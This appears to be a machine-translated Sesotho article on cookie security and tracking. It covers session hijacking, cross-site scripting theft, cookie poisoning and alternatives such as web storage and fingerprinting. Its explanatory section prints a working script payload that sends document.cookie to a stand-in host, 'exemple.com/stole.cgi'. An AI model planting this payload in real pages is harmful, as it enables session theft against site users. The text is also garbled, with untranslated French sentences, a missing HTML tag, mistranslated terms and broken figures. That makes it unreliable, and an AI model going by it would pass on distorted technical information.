Cookie e ka utsuoa ke komporo e 'ngoe marang-rang.

Nakong ea ts'ebetso e tloaelehileng, li-cookie li khutlisetsoa lipakeng tsa seva (kapa sehlopha sa li-server tse sebakeng se le seng) le sebatli sa komporo ea mosebelisi. Kaha li-cookie li ka ba le tlhaiso-leseling e tebileng (lebitso la mosebelisi, senotlolo se sebelisetsoang netefatso, joalo-joalo), litekanyetso tsa tsona ha lia lokela ho fumaneha ho likhomphutha tse ling. Bosholu ba li-cookie ke ketso ea ho qhekella li-cookie ke motho e mong ea sa dumelloang.

Li-cookie li ka utsuoa ka pakete ea sniffer tlhaselong e bitsoang "section hijacking". Sephethephethe sa marang-rang se ka amoheloa 'me sa baloa ke likhomphutha tse ling ntle le tse romellang le tse amohelang (haholo-holo sebakeng se sa ngolisoang sa Wi-Fi sa sechaba). Sephethephethe sena se kenyelletsa li-cookies tse rometsoeng ka linako ho sebelisoa protocol e hlakileng ea HTTP. Ha sephethephethe sa marang-rang se sa ngolisoa, basebelisi ba lonya ba ka bala likhokahano tsa basebelisi ba bang marang-rang ba sebelisa "packet sniffers".

Bothata bona bo ka hlōloa ka ho koala khokahano lipakeng tsa komporo ea mosebelisi le seva ho sebelisa protocol ea HTTPS. Seva e ka hlakisa a folakha e sireletsehileng ha u ntse u lokisa kuku; sebatli se tla e romella feela ka mohala o sireletsehileng, joalo ka khokahano ea SSL.

Leha ho le joalo liwebsaete tse ngata, leha li sebelisa puisano e patiloeng ea HTTPS bakeng sa netefatso ea mosebelisi (ke hore, leqephe la ho kena), hamorao li romella li-cookies tsa nako le lintlha tse ling joalo ka tloaelo, ka likhokahano tse sa ngolisoang tsa HTTP bakeng sa mabaka a sebetsang hantle. Ka hona, bahlaseli ba ka thibela li-cookies tsa basebelisi ba bang 'me ba li etsisa libakeng tse nepahetseng kapa ba li sebelise tlhaselong ea li-cookie.

Scripting sebakeng sa marang-rang: cookie e lokelang ho fapanyetsanoa feela pakeng tsa seva le moreki e romelloa ho batho ba bang.

Mokhoa o mong oa ho utsoa li-cookies ke ho ngola libaka tsa marang-rang le ho etsa hore sebatli ka bosona se romelle li-cookie ho li-server tse kotsi tse sa kang tsa li amohela. Li-browser tsa morao-rao li lumella ho phethahatsa likarolo tse batloang tsa khoutu ho tsoa ho seva. Haeba li-cookie li fumaneha nakong ea ts'ebetso, litekanyetso tsa tsona li ka fetisetsoa ka mokhoa o itseng ho li-server tse sa lokelang ho li fumana. Ho ngola li-cookie pele li romelloa ka marang-rang ha ho thuse ho thibela tlhaselo.

Mofuta ona oa mongolo oa in-site hangata o sebelisoa ke bahlaseli libakeng tse lumellang basebelisi ho beha litaba tsa HTML. Ka ho kenyelletsa karolo ea khoutu e tsamaellanang ho tlatsetso ea HTML, mohlaseli a ka fumana li-cookie ho tsoa ho basebelisi ba bang. Tsebo ea li-cookie tsena e ka sebelisoa ka ho hokela sebakeng se le seng ho sebelisa li-cookies tse utsoitsoeng, ka hona ho tsejoa e le mosebelisi eo li-cookie li utsoitsoeng.

Tsela e 'ngoe ea ho thibela litlhaselo tse joalo ke ho sebelisa folakha ea HttpOnly; ke khetho, e hlahisitsoeng ho tloha ho mofuta oa 6 oa Internet Explorer ho PHP ho tloha ka mofuta oa 5.2.0 o reretsoeng ho etsa hore cookie e se ke ea fumaneha ho moreki haufi le mongolo. Leha ho le joalo, baetsi ba marang-rang ba lokela ho ela sena hloko ntlafatsong ea sebaka sa bona sa marang-rang e le hore ba se ke ba hlola ba ngola setšeng.

Tšokelo e 'ngoe ea ts'ireletso e sebelisitsoeng ke tlhahiso ea tlhokahalo setšeng.

Litlhaloso tsa semmuso tsa tekheniki li lumella li-cookies hore li khutlisetsoe ho li-server tse sebakeng seo li tsoang ho sona. Leha ho le joalo, boleng ba li-cookie bo ka romelloa ho li-server tse ling ho sebelisa mekhoa e meng ntle le lihlooho tsa li-cookie.

Haholo-holo, lipuo tsa mongolo tse kang JavaScript hangata li lumelloa ho fihlella boleng ba li-cookie mme li khona ho romella boleng bo sa reroang ho seva efe kapa efe inthaneteng. Mokhoa ona oa ho ngola o sebelisoa ho tsoa liwebosaeteng tse lumellang basebelisi ho beha litaba tsa HTML hore basebelisi ba bang ba li shebelle.

Mohlala, mohlaseli ea sebetsang sebakeng sa example.com a ka beha maikutlo a nang le sehokelo se latelang se supang blog e tsebahalang eo ho seng joalo ba sa e laoleng:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Ha mosebelisi e mong a tobetsa sehokelo sena, sebatli se sebelisa karolo ea khoutu ea ho tobetsa, kahoo se nkela sebaka sa tokomane.cookie ka lethathamo la li-cookies tse sebetsang leqepheng lena. Ka hona, lenane lena la li-cookies le romelloa ho seva sa example.com, 'me mohlaseli o khona ho bokella li-cookie tsa mosebedisi enoa.

Mofuta ona oa tlhaselo ho thata ho o lemoha ka lehlakoreng la mosebelisi hobane sengoloa se tsoa sebakeng se le seng se behileng cookie, mme ts'ebetso ea ho romella boleng e bonahala e lumelletsoe ke sebaka seo. Ho nkoa hore ke boikarabelo ba batsamaisi ba sebetsang mofuta ona oa sebaka sa marang-rang ho beha lithibelo tse thibelang ho phatlalatsoa ha khoutu e mpe.

Li-cookie ha li bonahale ka kotloloho mananeong a lehlakoreng la bareki joalo ka JavaScript haeba li rometsoe ka folakha ea HttpOnly. Ho latela pono ea seva, phapang feela ke hore moleng oa sehlooho sa Set-Cookie ho eketsoa tšimo e ncha e nang le khoele HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Ha sebatli se fumana cookie e joalo, se tlameha ho e sebelisa ka tloaelo phapanyetsanong e latelang ea HTTP, empa ntle le ho etsa hore e bonahale ho lingoloa tse entsoeng ka lehlakoreng la bareki. Folakha ea HttpOnly ha se karolo ea litlhaloso tsa molao tsa tekheniki, 'me ha e kenngoe tšebetsong ho libatli tsohle. Hlokomela hore hajoale ha ho na mokhoa oa ho thibela ho bala le ho ngoloa ha li-cookie tsa seboka ka mokhoa oa XMLHTTPRequest.

Liphetoho tsa litaba: mohlaseli o romela cookie e sa sebetseng ho seva, mohlomong e entsoe ka cookie e nepahetseng e rometsoeng ke seva.

Hang ha li-cookie li hloka ho bolokoa le ho khutlisetsoa ho seva li sa fetohe, mohlaseli a ka fetola boleng ba li-cookie pele li khutlisetsoa ho seva. Mohlala, haeba kuku e na le kakaretso ea boleng boo mosebelisi a tlamehang ho bo lefa bakeng sa lintho tse behiloeng kariking ea mabenkele, ho fetola boleng bona ho pepesetsa seva kotsing ea ho lefisa mohlaseli ka tlase ho theko e qalang. Mokhoa oa ho fetola boleng ba cookies o bitsoa chefo ea kuku 'me e ka sebelisoa ka mor'a bosholu ba li-cookie ho etsa hore tlhaselo e tsoele pele.

Ka mokhoa oa ho hlakola li-cookie, mohlaseli o sebelisa glitch ea sebatli ho romella cookie e sa sebetseng ho seva.

Liwebsaete tse ngata, leha ho le joalo, li boloka ID ea nako feela - nomoro e ikhethileng e hlahisoang ka tšohanyetso e sebelisetsoang ho tsebahatsa mosebelisi oa seboka - ho cookie ka boeona, ha lintlha tse ling kaofela li bolokiloe ho seva. Tabeng ena, bothata bona bo rarolloa haholo.

Sebaka ka seng se lebelletsoe ho ba le li-cookies tsa sona, kahoo sebaka se le seng ha sea lokela ho khona ho fetola kapa ho etsa li-cookies tse amanang le sebaka se seng. Phoso ea ts'ireletso ea sebatli sa marang-rang e ka lumella libaka tse lonya ho tlola molao ona. Tšebeliso ea bofokoli bo joalo hangata e bitsoa ho pheha ka ho tšela. Sepheo sa litlhaselo tse joalo e ka 'na ea e-ba bosholu ba ID.

Basebelisi ba lokela ho sebelisa mefuta ea morao-rao ea libatli tsa marang-rang tseo ho tsona bofokoli bona bo felisitsoeng.

Boemo ba likhohlano lipakeng tsa moreki le seva

Ts'ebeliso ea li-cookies e ka hlahisa likhohlano lipakeng tsa boemo ba moreki le naha e bolokiloeng ka har'a cookie. Haeba mosebelisi a fumana cookie ebe o tobetsa konopo ea "Back" ea sebatli, boemo ba sebatli hangata ha bo tšoane le pele ho phumano ena. Mohlala, haeba baskete ea lebenkele la Marang-rang e entsoe ka li-cookies, likahare tsa basketeng li ke ke tsa fetoha ha mosebelisi a khutlela nalaneng ea sebatli: haeba mosebelisi a tobetsa konopo ho kenya sengoloa ka basketeng ea hae ebe o tobetsa "Khutla". " konopo, sengoloa se sala ho sena. Sena e kanna ea se be sepheo sa mosebelisi, eo ka sebele a batlang ho hlakola tlatsetso ea sengoloa. Sena se ka lebisa ho se tšepahaleng, pherekano, le litšitšili. Kahoo baetsi ba marang-rang ba lokela ho hlokomela bothata bona mme ba sebelise mehato ea ho sebetsana le maemo a kang ana.

Li-cookie tse phehellang li 'nile tsa nyatsuoa ke litsebi tsa ts'ireletso ea lekunutu ka hore ha li hlophisehe ho felloa ke nako haufinyane, kahoo li lumella liwebsaete ho latela basebelisi le ho theha boemo ba bona ka nako. Karolo ena ea li-cookie hape ke karolo ea bothata ba ho koeteloa ha seshene, hobane cookie e tsitsitseng e utsuoa e ka sebelisoa ho iketsa mosebelisi nako e telele.

Ho bala hape: GFAM: ke bomang? Ke hobane'ng ha ba (ka linako tse ling) ba tšosa hakaale?

Mekhoa e meng ho li-cookie

Ts'ebetso e 'ngoe e ka etsoang ka li-cookies le eona e ka etsoa ho sebelisoa mekhoa e meng e fetisang li-cookies kapa e etsa li-cookie tse hlakotsoeng, tse bakang litaba tsa lekunutu ka tsela e ts'oanang (kapa ka linako tse ling e mpe haholo hobane e sa bonahale) ho feta li-cookies.

Aterese ea IP

Basebelisi ba ka lateloa ka aterese ea IP ea komporo e letsetsa leqephe lena. Mokhoa ona o 'nile oa fumaneha ho tloha ha ho qalisoa Websaete ea Lefatše Lohle, ha maqephe a ntse a kopitsoa, ​​seva se kopa aterese ea IP ea k'homphieutha e tsamaisang sebapali kapa proxy, haeba e sa sebelisoe. Seva e ka latela lintlha tsena hore na ho na le li-cookie tse sebelisoang kapa che. Leha ho le joalo, liaterese tsena hangata ha li tšepahale ho khetholla mosebelisi ho feta li-cookies hobane likhomphutha le li-proxies li ka arolelanoa ke basebelisi ba bangata, 'me komporo e le 'ngoe e ka fumana aterese e fapaneng ea IP nakong e 'ngoe le e 'ngoe ea mosebetsi (joalo ka hangata bakeng sa likhokahano tsa mohala) .

Ho latela liaterese tsa IP ho ka ts'epahala maemong a mang, joalo ka likhokahano tsa marang-rang tse bolokang aterese e tšoanang ea IP ka nako e telele, ha feela matla a ntse a le teng.

Litsamaiso tse ling tse kang Tor li etselitsoe ho boloka ho se tsejoe ha Marang-rang le ho etsa hore ho latela aterese ea IP ho se khonehe kapa ho se sebetse.

URL

Mokhoa o nepahetseng haholoanyane o ipapisitse le tlhaiso-leseling ho li-URL. Karolo ea thapo ea lipotso ea URL ke mokhoa o le mong o sebelisoang molemong ona, empa likarolo tse ling le tsona li ka sebelisoa. Ka bobeli li-serverlet tsa Java le mekhoa ea seboka sa PHP li sebelisa mokhoa ona haeba li-cookie li sa lumelloa.

Mokhoa ona o kenyelletsa seva sa marang-rang se kenyang likopo tsa likhoele ho likhokahano tsa leqephe la webo le le tsamaisang ha le romelloa ho sebatli. Ha mosebelisi a latela sehokelo, sebatli se khutlisetsa khoele ea potso e khomaretsoeng ho seva.

Likhoele tsa lipotso tse sebelisetsoang morero ona le li-cookie li tšoana haholo, ka bobeli ke tlhahisoleseling e khethiloeng ke seva mme e khutlisetsoa ke sebatli. Leha ho le joalo, ho na le liphapang tse itseng: ha URL e nang le khoele ea lipotso e sebelisoa hape, boitsebiso bo tšoanang bo romelloa ho seva. Mohlala, haeba likhetho tsa mosebelisi li kentsoe lethathamong la lipotso tsa URL mme mosebelisi a romella URL eo ho mosebelisi e mong ka lengolo-tsoibila, mosebelisi eo le eena o tla khona ho sebelisa likhetho tseo.

Ka lehlakoreng le leng, ha mosebelisi a fihlella leqephe le le leng habeli, ha ho na tiiso ea hore khoele e tšoanang ea lipotso e tla sebelisoa ka makhetlo a mabeli. Mohlala, haeba mosebelisi a lula leqepheng la sebaka sa kahare khetlo la pele mme a lula leqepheng le ts'oanang ho tsoa leqepheng la kantle khetlo la bobeli, potso e amanang le leqephe la saete hangata e fapane, athe li-cookie lia tšoana. .

Litsietsi tse ling tsa lipotso li amana le ts'ireletso: ho boloka lintlha tse hlakisang nako ea lipotso ho thusa kapa ho nolofatsa litlhaselo tsa ho lokisa seshene, litlhaselo tsa litšupiso tsa li-identifier, le mesebetsi e meng. Li-ID tsa nako ea ho fetisa joalo ka li-cookies tsa HTTP li bolokehile haholoanyane.

Sebaka sa sebopeho se patiloeng

Mofuta o mong oa ho latella nako, o sebelisoang ke ASP.NET, ke ho sebelisa liforomo tsa webo tse nang le masimo a patiloeng. Mokhoa ona o ts'oana haholo le ho sebelisa likhoele tsa lipotso tsa URL ho tsamaisa tlhahisoleseling mme o na le melemo le likotsi tse tšoanang; 'me haeba foromo e sebetsoa ka mokhoa oa HTTP GET, masimo a hlile a fetoha karolo ea URL ea sebatli se tla se romella ha se romella foromo. Empa mefuta e mengata e sebetsoa ka HTTP POST, e etsang hore tlhahisoleseling ea foromo, ho kenyelletsa le masimo a patiloeng, e eketsoe e le tlatsetso eo e seng karolo ea URL kapa cookie.

Mokhoa ona o na le melemo e 'meli ho latela pono ea ho latela: ea pele, ho latela tlhahisoleseding e behiloeng khoutu ea mohloli oa HTML le ho kenya POST ho e-na le URL e tla lumella mosebedisi ea tloaelehileng ho qoba ho latela mokhoa ona; ea bobeli, tlhahisoleseling ha e kopitsoe ha mosebelisi a kopitsa URL (ho boloka leqephe ho disk kapa ho e romella ka lengolo-tsoibila, mohlala).

fensetere.lebitso

Libatli tse tloaelehileng tsa marang-rang li ka boloka data e ngata haholo (2MB ho isa ho 32MB) ka JavaScript li sebelisa thepa ea DOM ea fensetere.name. Lintlha tsena li ka sebelisoa ho e-na le li-cookies tsa nako 'me li sebelisoa libakeng tsohle. Mokhoa ona o ka kopanngoa le lintho tsa JSON ho boloka sete e rarahaneng ea mefuta e fapaneng ea karolo ea bareki.

Taba e nyahamisang ke hore fensetere ka 'ngoe kapa tab e arohaneng qalong e tla ba le fensetere e se nang letho.name; ha u bala ka li-tab (tse butsoeng ke mosebelisi) sena se bolela hore li-tab tse butsoeng ka bonngoe li ke ke tsa ba le lebitso la fensetere. Ntle le moo, fensetere.name e ka sebelisoa ho latela baeti libakeng tse fapaneng tse ka bakang bothata ba lekunutu.

Ka litsela tse ling sena se ka sireletseha ho feta li-cookie, ka lebaka la ho se amehe ha seva, kahoo e etsa hore e se ke ea hlaseloa ke tlhaselo ea marang-rang ea li-cookie tsa sniffer. Leha ho le joalo, haeba mehato e khethehileng e nkoa ho sireletsa data, e kotsing ea ho hlaseloa ka ho eketsehileng, kaha data e fumaneha ka libaka tse ling tse bulehileng ka fensetere e le 'ngoe.

HTTP netefatso

Protocol ea HTTP e kenyelletsa melaoana ea netefatso ea phihlello le phihlello ea netefatso ea phihlello, e lumellang ho fihlella leqephe la webo feela ha mosebelisi a fane ka lebitso la mosebelisi le password. Haeba seva se kopa setifikeiti sa ho fana ka phihlello leqepheng la sebaka sa marang-rang, sebatli se se kopa ho mosebelisi mme hang ha se se se fumanehile, sebatli se se boloka ebe se se romella likopong tsohle tse latelang tsa HTTP. Lintlha tsena li ka sebelisoa ho latela mosebelisi.

Ntho e arolelanoang sebakeng

Haeba sebatli se kenyelletsa plugin ea Adobe Flash Player, the dintho tse arolelanoang sebakeng e ka sebelisoa ka sepheo se tšoanang le li-cookies. E ka ba khetho e khahlang bakeng sa baetsi ba marang-rang hobane:

  • moeli oa boholo ba kamehla bakeng sa ntho e arolelanoang sebakeng seo ke 100 KB;
  • licheke tsa ts'ireletso li arohane le li-cookie tsa basebelisi (ka hona, lintho tse arolelanoang sebakeng sa heno li ka lumelloa ha li-cookie li sa lumelloa).

Ntlha ena ea ho qetela, e khethollang leano la taolo ea li-cookie ho la lintho tse arolelanoang tsa lehae tsa Adobe e hlahisa lipotso mabapi le taolo ea mosebelisi oa litlhophiso tsa hae tsa lekunutu: o tlameha ho hlokomela hore taolo ea hae ea li-cookie ha e na tšusumetso ho tsamaiso ea lintho tse arolelanoang tsa lehae, 'me ka tsela e fapaneng.

Khalemelo e 'ngoe ea sistimi ena ke hore e ka sebelisoa feela ka plugin ea Adobe Flash Player eo e leng ea mong'a eona eseng maemo a webo.

Phehello ea lehlakore la bareki

Libatli tse ling tsa marang-rang li tšehetsa mokhoa oa ho phehella oa mongolo, o lumellang leqephe ho boloka tlhahisoleseling sebakeng sa heno hore le sebelisoe hamorao. Mohlala, Internet Explorer, e ts'ehetsa tlhahisoleseling e phehellang nalaneng ea sebatli, li-bookmark, ka mokhoa o bolokiloeng ho XML, kapa ka kotloloho e nang le leqephe la webe le bolokiloeng ho disk. Bakeng sa Microsoft Internet Explorer 5, ho na le mokhoa oa ho sebelisa data o fumanehang ka mekhoa ea DHTML.

W3C e hlahisitse ka HTML 5 JavaScript API e ncha bakeng sa polokelo ea data e lehlakoreng la bareki e bitsoang polokelo ea Marang-rang 'me e reretsoe ho khutlisa li-cookies ka ho sa feleng. E tšoana le li-cookies empa e na le bokhoni bo ntlafetseng haholo ntle le ho boloka tlhahisoleseding sehloohong sa likopo tsa HTTP. API e lumella mefuta e 'meli ea polokelo ea webo: polokelo ea lehae le polokelo ea linako, tse ts'oanang le li-cookies tse phehellang le li-cookies tsa seboka (ntle le hore li-cookies tsa nako li felloa ke nako ha sebatli se koetsoe ha sebatli se koetsoe. pokello ea nako felloa ke nako ha tab e koetsoe), ka ho latellana. Polokelo ea webo e tšehetsoa ke Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 le Opera 10.50.

Mochini o fapaneng hangata o itšetleha ka caching ea sebatli (ka mohopolong ho fapana le ho nchafatsa) o sebelisa mananeo a JavaScript maqepheng a webo. 

Mohlala, leqephe le ka ba le tag . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Mothating ona, lenaneo le lula mohopolong oa cache mme leqephe le etetsoeng ha le kenngoe hape lekhetlo la bobeli. Ka lebaka leo, haeba lenaneo le na le phetoho ea lefats'e (mohlala var id = 3243242;), sesupo sena se lula se sebetsa 'me se ka sebelisoa ke JavaScript khoutu hang ha leqephe le kenngoa hape, kapa hang ha leqephe le hokahanyang lenaneo le kentsoe. 

Bothata bo boholo ba mokhoa ona ke hore JavaScript global variable e tlameha ho ba e tsitsitseng, ho bolelang hore e ke ke ea fetoloa kapa ea hlakoloa joaloka cookie.

sebatli sa marang-rang se hatisa menoana

Monoana oa sebatli ke lintlha tse bokelletsoeng mabapi le litlhophiso tsa sebatli ka sepheo sa ho tsebahatsa. Mehato ena ea menoana e ka sebelisoa ho tsebahatsa motho ea sebelisang Marang-rang ka botlalo kapa hanyenyane kapa sesebelisoa leha li-cookie li koetsoe.

Litaba tsa mantlha tsa tlhophiso ea sebatli sa marang-rang ke khale li bokelloa ke lits'ebeletso tsa bamameli ba sebaka sa marang-rang ka sepheo sa ho lekanya ka nepo sephethephethe sa marang-rang sa batho le ho fumana mefuta e fapaneng ea bomenemene ba ho tobetsa. Ka thuso ea lipuo tse ngotsoeng ka lehlakoreng la bareki, ho bokella lintlha tse nepahetseng ho feta joale ho khoneha.

Ho fetolela tlhahisoleseling ena hore e be khoele e nyane ho hlahisa mochini oa menoana. Ka 2010, Electronic Frontier Foundation (EFF) e ile ea lekanya entropy ea menoana ea sebatli hore e be bonyane. 18,1 likotoana, 'me e ne e le pele tsoelo-pele ea khatiso ea menoana ea canvas e ekelitse li-bits tse 5,7 ho entropy eo.

Li-cookie ka bokhutšoanyane

Li-cookie ke lifaele tse nyane tse ngotsoeng tse bolokiloeng ke sebatli sa marang-rang ho hard drive ea moeti oa sebaka sa Marang-rang le tse sebelisoang (har'a lintho tse ling) ho rekota tlhahisoleseling mabapi le moeti kapa leeto la bona sebakeng sa marang-rang. Ka hona, mookameli oa sebaka sa marang-rang a ka lemoha mekhoa ea moeti mme a iketsetsa tlhahiso ea sebaka sa hae bakeng sa moeti e mong le e mong; li-cookie li etsa hore ho khonehe ho hopola hore na ho na le lihlooho tse kae tse lokelang ho bontšoa leqepheng la lehae kapa esita le ho boloka lintlha tsa ho kena bakeng sa mokha ofe kapa ofe oa poraefete: ha moeti a khutlela setšeng, ha ho sa hlokahala hore a thaepe lebitso la hae le password. li tsejoa, kaha li baloa ka har'a cookie.

Cookie e na le nako e lekanyelitsoeng ea bophelo, e behiloeng ke moetsi oa sebaka. Li ka boela tsa felloa ke nako qetellong ea seboka setšeng, se lumellanang le ho koaloa ha sebatli. Li-cookie li sebelisoa haholo ho nolofaletsa baeti bophelo le ho ba hlahisa ka lintlha tse bohlokoa. Empa mekhoa e khethehileng e etsa hore ho khonehe ho latela moeti libakeng tse 'maloa' me kahoo ho bokella le ho hlahloba boitsebiso bo bongata haholo ka mekhoa ea hae. Mokhoa ona o file tšebeliso ea li-cookie setumo e le mokhoa oa ho beha leihlo o tlolang boinotšing ba baeti, oo ka bomalimabe o lumellanang le 'nete maemong a mangata a sebelisoang ka mabaka ao e seng a tekheniki kapa a sa hlomphe litebello tsa basebelisi.

Ho arabela tšabong ena e nepahetseng, HTML 5 e hlahisa JavaScript API e ncha bakeng sa polokelo ea data e lehlakoreng la bareki e bitsoang Web storage, e sireletsehileng haholoanyane le e nang le bokhoni bo boholo, e ikemiselitseng ho nkela li-cookie sebaka.

Ho boloka likuku

Ka li-browser tse ling, cookie e ka hlophisoa habonolo, mohlophisi oa mongolo o bonolo joalo ka Notepad o lekane ho fetola boleng ba ona ka letsoho.

Li-cookie li bolokoa ka tsela e fapaneng ho latela sebatli:

  • Microsoft Internet Explorer e boloka cookie ka 'ngoe faeleng e fapaneng;
  • Mozilla Firefox e boloka li-cookie tsohle ka faele e le 'ngoe;
  • Opera e boloka li-cookies tsohle tsa eona faeleng e le 'ngoe ebe e li patala (ha ho khonehe ho li fetola ntle le likhethong tsa software);
  • Apple Safari e boloka di-cookie tsohle ka faeleng e le 'ngoe ea .plist. Phetoho e ka khonahala empa ha e bonolo haholo, ntle le haeba o feta har'a likhetho tsa software.

Libatli lia hlokahala ho tšehetsa bonyane :

  • Li-cookie tse 300 ka nako e le 'ngoe;
  • 4 o cookie ka 'ngoe;
  • Li-cookie tse 20 ka moamoheli kapa domain.
[Kakaretso: 0 Bolela: 0]

ngotsoeng ke Bahlahlobi ba Litlhahlobo

Sehlopha sa bahlophisi ba litsebi se sebelisa nako ea bona ho etsa lipatlisiso ka lihlahisoa, ho etsa liteko tse sebetsang, ho buisana le litsebi tsa indasteri, ho lekola litlhahlobo tsa bareki, le ho ngola liphetho tsa rona kaofela e le kakaretso e utloisisehang le e felletseng.

Leave ka tlhaloso

Aterese ea hau ea lengolo tsoibila e ke ke ea phatlalatsoa. masimo hlokahala di tšoauoa *

U nahana eng?